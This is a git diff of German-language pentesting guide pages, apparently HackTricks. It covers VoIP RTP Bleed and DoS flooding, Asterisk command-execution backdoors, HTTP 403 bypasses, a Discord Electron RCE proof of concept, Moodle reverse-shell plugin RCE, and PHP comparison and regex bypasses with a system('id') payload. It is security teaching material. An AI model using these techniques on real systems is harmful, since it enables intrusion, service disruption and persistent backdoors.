Sicherheitsanfälligkeit RTP Bleed, weil sie Angreifern ermöglicht, RTP-Medienströme zu empfangen, die für legitime Benutzer bestimmt sind. +RTP-Proxys versuchen, **NAT-Einschränkungen** zu beheben, die RTC-Systeme betreffen, indem sie RTP-Streams zwischen zwei oder mehr Parteien proxysieren. Wenn NAT vorhanden ist, kann die RTP-Proxy-Software oft nicht auf die RTP-IP- und Portinformationen zugreifen, die über Signalisierung (z. B. SIP) abgerufen werden. Daher haben eine Reihe von RTP-Proxys einen Mechanismus implementiert, bei dem solche **IP- und Port-Tuple automatisch gelernt werden**. Dies geschieht oft, indem eingehender RTP-Verkehr inspiziert und die Quell-IP und der Port für jeden eingehenden RTP-Verkehr als derjenige markiert werden, auf den geantwortet werden sollte. Dieser Mechanismus, der als "Lernmodus" bezeichnet werden kann, **verwendet keine Art von Authentifizierung**. Daher können **Angreifer** **RTP-Verkehr an den RTP-Proxy senden** und den proxierten RTP-Verkehr empfangen, der für den Anrufer oder den Angerufenen eines laufenden RTP-Streams bestimmt ist. Wir nennen diese Sicherheitsanfälligkeit RTP Bleed, weil sie Angreifern ermöglicht, RTP-Medienströme zu empfangen, die an legitime Benutzer gesendet werden sollen. -Ein weiteres interessantes Verhalten von RTP-Proxys und RTP-Stacks ist, dass sie manchmal, **selbst wenn sie nicht anfällig für RTP Bleed sind**, **RTP-Pakete von jeder Quelle akzeptieren, weiterleiten und/oder verarbeiten**. Daher können Angreifer RTP-Pakete senden, die es ihnen ermöglichen, ihre Medien anstelle der legitimen einzuspeisen. Wir nennen diesen Angriff RTP-Injection, weil er die Einspeisung illegitimer RTP-Pakete in bestehende RTP-Streams ermöglicht. Diese Sicherheitsanfälligkeit kann sowohl in RTP-Proxys als auch in Endpunkten gefunden werden. +Ein weiteres interessantes Verhalten von RTP-Proxys und RTP-Stacks ist, dass sie manchmal, **selbst wenn sie nicht anfällig für RTP Bleed sind**, **RTP-Pakete von jeder Quelle akzeptieren, weiterleiten und/oder verarbeiten**. Daher können Angreifer RTP-Pakete senden, die es ihnen ermöglichen, ihre Medien anstelle der legitimen einzufügen. Wir nennen diesen Angriff RTP-Injection, weil er die Einspeisung illegitimer RTP-Pakete in bestehende RTP-Streams ermöglicht. Diese Sicherheitsanfälligkeit kann sowohl in RTP-Proxys als auch in Endpunkten gefunden werden. Asterisk und FreePBX haben traditionell die **`NAT=yes`-Einstellung** verwendet, die es RTP-Verkehr ermöglicht, die Authentifizierung zu umgehen, was potenziell zu keinem Audio oder einseitigem Audio bei Anrufen führen kann. Für weitere Informationen siehe [https://www.rtpbleed.com/](https://www.rtpbleed.com/) -- **`SIPPTS rtpbleed`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed erkennt die RTP Bleed-Sicherheitsanfälligkeit, indem RTP-Streams gesendet werden. +- **`SIPPTS rtpbleed`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed erkennt die RTP Bleed-Sicherheitsanfälligkeit, indem es RTP-Streams sendet. ```bash sippts rtpbleed -i 10.10.0.10 ``` @@ -550,10 +549,10 @@ In Asterisk gelingt es Ihnen irgendwie, **Erweiterungsregeln hinzuzufügen und s ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` -Es gibt einen Befehl namens **`Shell`**, der **anstatt von `System`** verwendet werden kann, um Systembefehle auszuführen, wenn dies erforderlich ist. +Es gibt einen Befehl namens **`Shell`**, der **anstatt von `System`** verwendet werden kann, um Systembefehle auszuführen, falls erforderlich. > [!WARNING] -> Wenn der Server **die Verwendung bestimmter Zeichen** im **`System`**-Befehl (wie in Elastix) nicht zulässt, überprüfen Sie, ob der Webserver es erlaubt, **irgendwie Dateien im System zu erstellen** (wie in Elastix oder trixbox), und verwenden Sie dies, um ein **Backdoor-Skript** zu **erstellen** und dann **`System`** zu verwenden, um dieses **Skript** **auszuführen**. +> Wenn der Server **die Verwendung bestimmter Zeichen** im **`System`**-Befehl (wie in Elastix) nicht zulässt, überprüfen Sie, ob der Webserver es erlaubt, **irgendwie Dateien im System zu erstellen** (wie in Elastix oder trixbox), und verwenden Sie dies, um ein **Backdoor-Skript** zu **erstellen** und dann **`System`** zu verwenden, um dieses **Skript** zu **auszuführen**. #### Interessante lokale Dateien und Berechtigungen @@ -562,7 +561,7 @@ Es gibt einen Befehl namens **`Shell`**, der **anstatt von `System`** verwendet - Der **mysql root-Benutzer** könnte **kein Passwort** haben. - Dies könnte verwendet werden, um einen neuen mysql-Benutzer als Backdoor zu erstellen. - **`FreePBX`** -- **`amportal.conf`** -> Enthält das Passwort des Webpanel-Administrators (FreePBX). +- **`amportal.conf`** -> Enthält das Passwort des Administrators des Webpanels (FreePBX). - **`FreePBX.conf`** -> Enthält das Passwort des Benutzers FreePBXuser, der auf die Datenbank zugreift. - Dies könnte verwendet werden, um einen neuen mysql-Benutzer als Backdoor zu erstellen. - **`Elastix`** @@ -579,20 +578,20 @@ Oder Sie könnten die Skripte von [http://blog.pepelux.org/2011/09/13/inyectando Es gibt mehrere Möglichkeiten, um DoS in VoIP-Servern zu erreichen. -- **`SIPPTS flood`** von [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sendet unbegrenzte Nachrichten an das Ziel. +- **`SIPPTS flood`** von [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sendet unbegrenzt Nachrichten an das Ziel. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** von [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping führt einen SIP-Ping durch, um die Server-Antwortzeit zu überprüfen. +- **`SIPPTS ping`** von [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping führt einen SIP-Ping durch, um die Serverantwortzeit zu überprüfen. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX-Protokoll, das von Asterisk verwendet wird. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Ein Tool, um SIP/SDP INVITE-Nachrichten über UDP/IP zu fluten. - [**rtpflood**](https://www.kali.org/tools/rtpflood/): Sendet mehrere gut formatierte RTP-Pakete. Es ist notwendig, die verwendeten RTP-Ports zu kennen (zuerst sniffen). -- [**SIPp**](https://github.com/SIPp/sipp): Ermöglicht die Analyse und Generierung von SIP-Verkehr, sodass es auch für DoS verwendet werden kann. +- [**SIPp**](https://github.com/SIPp/sipp): Ermöglicht die Analyse und Generierung von SIP-Verkehr. Es kann also auch für DoS verwendet werden. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP Schweizer Taschenmesser. Kann auch verwendet werden, um SIP-Angriffe durchzuführen. - Fuzzer: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). ### OS-Schwachstellen -Der einfachste Weg, eine Software wie Asterisk zu installieren, besteht darin, eine **OS-Distribution** herunterzuladen, die bereits installiert ist, wie: **FreePBX, Elastix, Trixbox**... Das Problem dabei ist, dass, sobald es funktioniert, die Systemadministratoren **sie möglicherweise nicht mehr aktualisieren** und **Schwachstellen** im Laufe der Zeit entdeckt werden. +Der einfachste Weg, eine Software wie Asterisk zu installieren, besteht darin, eine **OS-Distribution** herunterzuladen, die bereits installiert ist, wie: **FreePBX, Elastix, Trixbox**... Das Problem dabei ist, dass, sobald es funktioniert, die Systemadministratoren **es möglicherweise nicht erneut aktualisieren** und **Schwachstellen** im Laufe der Zeit entdeckt werden. ## Referenzen diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index eb60d7d14..e90c8d075 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -6,9 +6,9 @@ Versuchen Sie, **verschiedene Verben** zu verwenden, um auf die Datei zuzugreifen: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen gegeben werden. Zum Beispiel bedeutet eine **200-Antwort** auf **HEAD** mit `Content-Length: 55`, dass das **HEAD-Verb auf die Info zugreifen kann**. Aber Sie müssen immer noch einen Weg finden, um diese Info zu exfiltrieren. -- Die Verwendung eines HTTP-Headers wie `X-HTTP-Method-Override: PUT` kann das verwendete Verb überschreiben. -- Verwenden Sie das **`TRACE`**-Verb und wenn Sie sehr viel Glück haben, können Sie vielleicht in der Antwort auch die **von Zwischenproxies hinzugefügten Header** sehen, die nützlich sein könnten. +- Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen bereitgestellt werden. Zum Beispiel bedeutet eine **200-Antwort** auf **HEAD** mit `Content-Length: 55`, dass das **HEAD-Verb auf die Informationen zugreifen kann**. Aber Sie müssen immer noch einen Weg finden, diese Informationen zu exfiltrieren. +- Verwenden Sie einen HTTP-Header wie `X-HTTP-Method-Override: PUT`, um das verwendete Verb zu überschreiben. +- Verwenden Sie das **`TRACE`**-Verb und wenn Sie sehr viel Glück haben, können Sie in der Antwort auch die **von Zwischenproxies hinzugefügten Header** sehen, die nützlich sein könnten. ## HTTP Headers Fuzzing @@ -44,8 +44,8 @@ Wenn der **Pfad geschützt ist**, können Sie versuchen, den Pfadschutz mit dies Wenn _/path_ blockiert ist: -- Versuchen Sie, _**/**_**%2e/path \_(wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch**\_\*\* /%252e\*\*/path (doppelte URL-Codierung) -- Versuchen Sie **Unicode-Bypass**: _/**%ef%bc%8f**path_ (Die URL-codierten Zeichen sind wie "/"), sodass sie beim Zurückcodieren _//path_ ergeben und Sie möglicherweise bereits die _/path_-Namensüberprüfung umgangen haben. +- Versuchen Sie, `/%2e/path` zu verwenden (wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch `/%252e**/path` (doppelte URL-Codierung) +- Versuchen Sie **Unicode-Bypass**: _/**%ef%bc%8f**path_ (Die URL-codierten Zeichen sind wie "/"), sodass es beim Zurückcodieren _//path_ sein wird und Sie möglicherweise bereits die _/path_-Namensüberprüfung umgangen haben. - **Andere Pfad-Bypässe**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK @@ -78,7 +78,7 @@ Wenn _/path_ blockiert ist: - Entfernen Sie die Parameter - Ändern Sie die Reihenfolge der Parameter - Verwenden Sie Sonderzeichen. -- Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie _-234_ oder _0_ oder _99999999_ (nur einige Beispielwerte) an. +- Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie _-234_ oder _0_ oder _99999999_ an (nur einige Beispielwerte). ## **Protokollversion** diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index 2c68db95e..bc8581a5a 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -1,4 +1,4 @@ -# Electron contextIsolation RCE über Preload-Code +# Electron contextIsolation RCE via preload code {{#include ../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ Beispiel von [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30) -Dieser Code öffnet http(s)-Links mit dem Standardbrowser: +Dieser Code öffnet http(s) Links mit dem Standardbrowser: ![](<../../../images/image (768).png>) @@ -37,10 +37,10 @@ Offensichtlich gibt es eine weitere Möglichkeit, Code zu laden und auszuführen Beispiel von [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) -Bei der Überprüfung der Preload-Skripte stellte ich fest, dass Discord die Funktion exponiert, die es ermöglicht, einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` in die Webseite aufzurufen.\ +Beim Überprüfen der Preload-Skripte stellte ich fest, dass Discord die Funktion exponiert, die es ermöglicht, einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` in die Webseite zu laden.\ Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das _child_process_ Modul, aber ich **fand einen Code, bei dem RCE erreicht werden kann, indem die eingebauten JavaScript-Methoden überschrieben werden** und die Ausführung des exponierten Moduls gestört wird. -Das folgende ist der PoC. Ich konnte bestätigen, dass die **calc** Anwendung **aufpoppt**, wenn ich die **`getGPUDriverVersions` Funktion** aufrufe, die im Modul "_discord_utils_" aus den devTools definiert ist, während ich **`RegExp.prototype.test` und `Array.prototype.join` überschreibe**. +Das Folgende ist der PoC. Ich konnte bestätigen, dass die **calc**-Anwendung **aufpoppt**, wenn ich die **`getGPUDriverVersions`-Funktion** aufrufe, die im Modul "_discord_utils_" aus den devTools definiert ist, während ich **`RegExp.prototype.test` und `Array.prototype.join` überschreibe**. ```javascript RegExp.prototype.test = function () { return false @@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() } return result } ``` -Normalerweise versucht _execa_, "_nvidia-smi.exe_" auszuführen, das in der `nvidiaSmiPath`-Variablen angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` **wird das Argument jedoch in der internen Verarbeitung von \_execa**\_** durch "**_**calc**_**" ersetzt**. +Normalerweise versucht _execa_, "_nvidia-smi.exe_" auszuführen, das im `nvidiaSmiPath`-Variablen angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` **wird das Argument jedoch in der internen Verarbeitung von _execa_ durch "**_**calc**_**" ersetzt**. Konkret wird das Argument ersetzt, indem die folgenden zwei Teile geändert werden. + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index b7a81628f..4737a3517 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -4,15 +4,15 @@ Überprüfen Sie weitere Details in [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) -ImageMagick, eine vielseitige Bildverarbeitungsbibliothek, stellt eine Herausforderung bei der Konfiguration ihrer Sicherheitsrichtlinien dar, aufgrund ihrer umfangreichen Optionen und des Mangels an detaillierter Online-Dokumentation. Benutzer erstellen oft Richtlinien basierend auf fragmentierten Internetquellen, was zu potenziellen Fehlkonfigurationen führen kann. Die Bibliothek unterstützt eine Vielzahl von über 100 Bildformaten, die jeweils zu ihrer Komplexität und ihrem Schwachstellenprofil beitragen, wie historische Sicherheitsvorfälle zeigen. +ImageMagick, eine vielseitige Bildverarbeitungsbibliothek, stellt eine Herausforderung bei der Konfiguration ihrer Sicherheitsrichtlinien dar, aufgrund ihrer umfangreichen Optionen und des Mangels an detaillierter Online-Dokumentation. Benutzer erstellen oft Richtlinien basierend auf fragmentierten Internetquellen, was zu potenziellen Fehlkonfigurationen führen kann. Die Bibliothek unterstützt eine Vielzahl von über 100 Bildformaten, die jeweils zu ihrer Komplexität und ihrem Sicherheitsprofil beitragen, wie historische Sicherheitsvorfälle zeigen. ## Auf dem Weg zu sichereren Richtlinien -Um diese Herausforderungen anzugehen, wurde ein [Tool entwickelt](https://imagemagick-secevaluator.doyensec.com/), das bei der Gestaltung und Überprüfung der Sicherheitsrichtlinien von ImageMagick hilft. Dieses Tool basiert auf umfangreicher Forschung und zielt darauf ab, sicherzustellen, dass die Richtlinien nicht nur robust, sondern auch frei von Schlupflöchern sind, die ausgenutzt werden könnten. +Um diese Herausforderungen anzugehen, wurde ein [Tool entwickelt](https://imagemagick-secevaluator.doyensec.com/), das bei der Gestaltung und Prüfung der Sicherheitsrichtlinien von ImageMagick hilft. Dieses Tool basiert auf umfangreicher Forschung und zielt darauf ab, sicherzustellen, dass die Richtlinien nicht nur robust, sondern auch frei von Schlupflöchern sind, die ausgenutzt werden könnten. ## Allowlist- vs. Denylist-Ansatz -Historisch gesehen basierten die ImageMagick-Richtlinien auf einem Denylist-Ansatz, bei dem bestimmten Codierern der Zugriff verweigert wurde. Änderungen in ImageMagick 6.9.7-7 verschoben dieses Paradigma und ermöglichten einen Allowlist-Ansatz. Dieser Ansatz verweigert zunächst allen Codierern den Zugriff und gewährt dann selektiv vertrauenswürdigen Codierern Zugang, was die Sicherheitslage verbessert. +Historisch gesehen basierten die ImageMagick-Richtlinien auf einem Denylist-Ansatz, bei dem bestimmten Codierern der Zugang verweigert wurde. Änderungen in ImageMagick 6.9.7-7 verschoben dieses Paradigma und ermöglichten einen Allowlist-Ansatz. Dieser Ansatz verweigert zunächst allen Codierern den Zugang und gewährt dann selektiv vertrauenswürdigen Codierern Zugang, was die Sicherheitslage verbessert. ```xml ... @@ -27,7 +27,7 @@ Es ist wichtig zu beachten, dass Richtlinienmuster in ImageMagick groß- und kle ImageMagick ist anfällig für Denial-of-Service-Angriffe, wenn es nicht richtig konfiguriert ist. Das Festlegen expliziter Ressourcenlimits in der Richtlinie ist entscheidend, um solche Schwachstellen zu verhindern. -## Richtlinienfragmentierung +## Fragmentierung von Richtlinien Richtlinien können über verschiedene ImageMagick-Installationen fragmentiert sein, was zu potenziellen Konflikten oder Überschreibungen führen kann. Es wird empfohlen, die aktiven Richtliniendateien mit Befehlen wie zu lokalisieren und zu überprüfen: ```shell @@ -41,6 +41,6 @@ Die Wirksamkeit einer Sicherheitsrichtlinie kann mit dem Befehl `identify -list ## Referenzen -- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index a39ac34b8..e89e56d8f 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -62,17 +62,17 @@ cmsmap http://moodle.example.com/ ``` ### CVEs -Ich habe festgestellt, dass die automatischen Tools ziemlich **nutzlos sind, um Schwachstellen in der Moodle-Version zu finden**. Sie können **nach ihnen suchen** in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) +Ich habe festgestellt, dass die automatischen Tools ziemlich **nutzlos sind, um Schwachstellen in der Moodle-Version zu finden**. Sie können **darauf prüfen** in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** -Sie müssen die **Manager**-Rolle haben und Sie **können Plugins** im **"Site administration"**-Tab\*\*:\*\* +Sie müssen die **Manager**-Rolle haben und Sie **können Plugins** im **"Site administration"**-Tab **installieren**: ![](<../../images/image (630).png>) Wenn Sie Manager sind, müssen Sie möglicherweise diese **Option aktivieren**. Sie können sehen, wie im Moodle Privilegien-Eskalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). -Dann können Sie **das folgende Plugin installieren**, das die klassische pentest-monkey php r**ev shell** enthält (_bevor Sie es hochladen, müssen Sie es dekomprimieren, die IP und den Port der revshell ändern und es erneut komprimieren_) +Dann können Sie **das folgende Plugin installieren**, das die klassische pentest-monkey PHP r**ev shell** enthält (_bevor Sie es hochladen, müssen Sie es dekomprimieren, die IP und den Port der revshell ändern und es erneut komprimieren_) {{#file}} moodle-rce-plugin.zip diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index a0918e644..0563a2af5 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Häufige Speicherorte für Cookies: +## Häufiger Speicherort für Cookies: Dies gilt auch für phpMyAdmin-Cookies. @@ -33,10 +33,10 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf {{#endfile}} - `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl -- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert) +- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im dezimalen oder hexadezimalen Format bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert) - `"0e3264578" == 0 --> True` Ein String, der mit "0e" beginnt und gefolgt von irgendetwas ist, wird gleich 0 sein - `"0X3264578" == 0X --> True` Ein String, der mit "0" beginnt und gefolgt von einem beliebigen Buchstaben (X kann jeder Buchstabe sein) und gefolgt von irgendetwas ist, wird gleich 0 sein -- `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Daher, wenn Sie einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Wenn Sie also einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Jeder Buchstabe in einem String ist gleich int 0 Weitere Informationen unter [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -Wenn diese Funktion für **irgendeine Authentifizierungsüberprüfung** verwendet wird (wie das Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er ein leeres Array anstelle eines Strings als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Überprüfung umgehen: +Wenn diese Funktion für **eine Authentifizierungsüberprüfung** verwendet wird (wie das Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er ein leeres Array anstelle eines Strings als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Überprüfung umgehen: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -70,11 +70,11 @@ Selbst wenn `===` **verwendet wird**, kann es Fehler geben, die den **Vergleich ``` ### preg_match(/^.\*/) -**`preg_match()`** könnte verwendet werden, um **Benutzereingaben zu validieren** (es **prüft**, ob ein **Wort/Regex** aus einer **Blacklist** in der **Benutzereingabe** **vorhanden** ist, und wenn nicht, kann der Code seine Ausführung fortsetzen). +**`preg_match()`** kann verwendet werden, um **Benutzereingaben zu validieren** (es **prüft**, ob ein **Wort/Regex** aus einer **Blacklist** in der **Benutzereingabe** **vorhanden** ist, und wenn nicht, kann der Code seine Ausführung fortsetzen). #### New line bypass -Wenn jedoch der Anfang des regexp`preg_match()` **nur die erste Zeile der Benutzereingabe überprüft**, dann könntest du, wenn du die Eingabe in **mehreren Zeilen** **senden** kannst, in der Lage sein, diese Überprüfung zu umgehen. Beispiel: +Wenn jedoch der Anfang des Regex mit `preg_match()` **nur die erste Zeile der Benutzereingabe überprüft**, dann könntest du, wenn du die Eingabe in **mehreren Zeilen** **senden** kannst, in der Lage sein, diese Überprüfung zu umgehen. Beispiel: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -98,7 +98,7 @@ Finden Sie ein Beispiel hier: [https://ramadistra.dev/fbctf-2019-rceservice](htt #### **Length error bypass** (Diese Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte sie nicht auf PHP 7.3.15 zum Laufen bringen)\ -Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden, **wird es nicht in der Lage sein, sie zu verarbeiten** und Sie werden in der Lage sein, die Überprüfung zu **umgehen**. Zum Beispiel, wenn es eine JSON auf die schwarze Liste setzt, könnten Sie senden: +Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden können, wird es **nicht in der Lage sein, sie zu verarbeiten** und Sie werden in der Lage sein, die Überprüfung zu **umgehen**. Zum Beispiel, wenn es eine JSON auf die schwarze Liste setzt, könnten Sie senden: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -115,12 +115,12 @@ Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [Dieser Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde ebenfalls in dem Beitrag verlinkt, in dem ausführlicher über dieses Problem gesprochen wird. Unsere Aufgabe war nun klar:\ **Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system()}` wirft, um SSTI --> RCE --> Flag :) zu erhalten.** -Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) besagt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\ +Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) angibt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\ Um das zu erreichen, ergibt `'X'*500_001` 1 Million Backtracking-Schritte (500k vorwärts und 500k rückwärts): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Type Juggling zur PHP-Obfuskation +### Type Juggling zur PHP-Verschleierung ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -153,11 +153,11 @@ Check: ## Weitere Tricks -- **register_globals**: In **PHP < 4.1.1.1** oder wenn falsch konfiguriert, kann **register_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Das bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben z.B. $\_GET\["param"]="1234", Sie darauf über **$param zugreifen können. Daher können Sie durch das Senden von HTTP-Parametern Variablen\*\* überschreiben, die im Code verwendet werden. -- Die **PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er **das Cookie des anderen Pfades** zugreift, indem Sie den Wert des anderen Pfad-Cookies setzen.\ -Auf diese Weise, wenn **beide Pfade auf eine Variable mit demselben Namen zugreifen**, können Sie den **Wert dieser Variablen in path1 auf path2 anwenden**. Und dann wird path2 die Variablen von path1 als gültig betrachten (indem das Cookie den Namen erhält, der ihm in path2 entspricht). +- **register_globals**: In **PHP < 4.1.1.1** oder wenn falsch konfiguriert, kann **register_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Das bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben z.B. $\_GET\["param"]="1234", Sie darauf über **$param zugreifen können. Daher können Sie durch das Senden von HTTP-Parametern Variablen überschreiben**, die im Code verwendet werden. +- Die **PHPSESSION-Cookies der gleichen Domain werden am gleichen Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er das Cookie des anderen Pfades zugreift, indem Sie den Wert des Cookies des anderen Pfades setzen.\ +Auf diese Weise, wenn **beide Pfade auf eine Variable mit dem gleichen Namen zugreifen**, können Sie den **Wert dieser Variablen in path1 auf path2 anwenden**. Und dann wird path2 die Variablen von path1 als gültig betrachten (indem Sie dem Cookie den Namen geben, der ihm in path2 entspricht). - Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben. Überprüfen Sie die Adresse: **/\~\**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind. 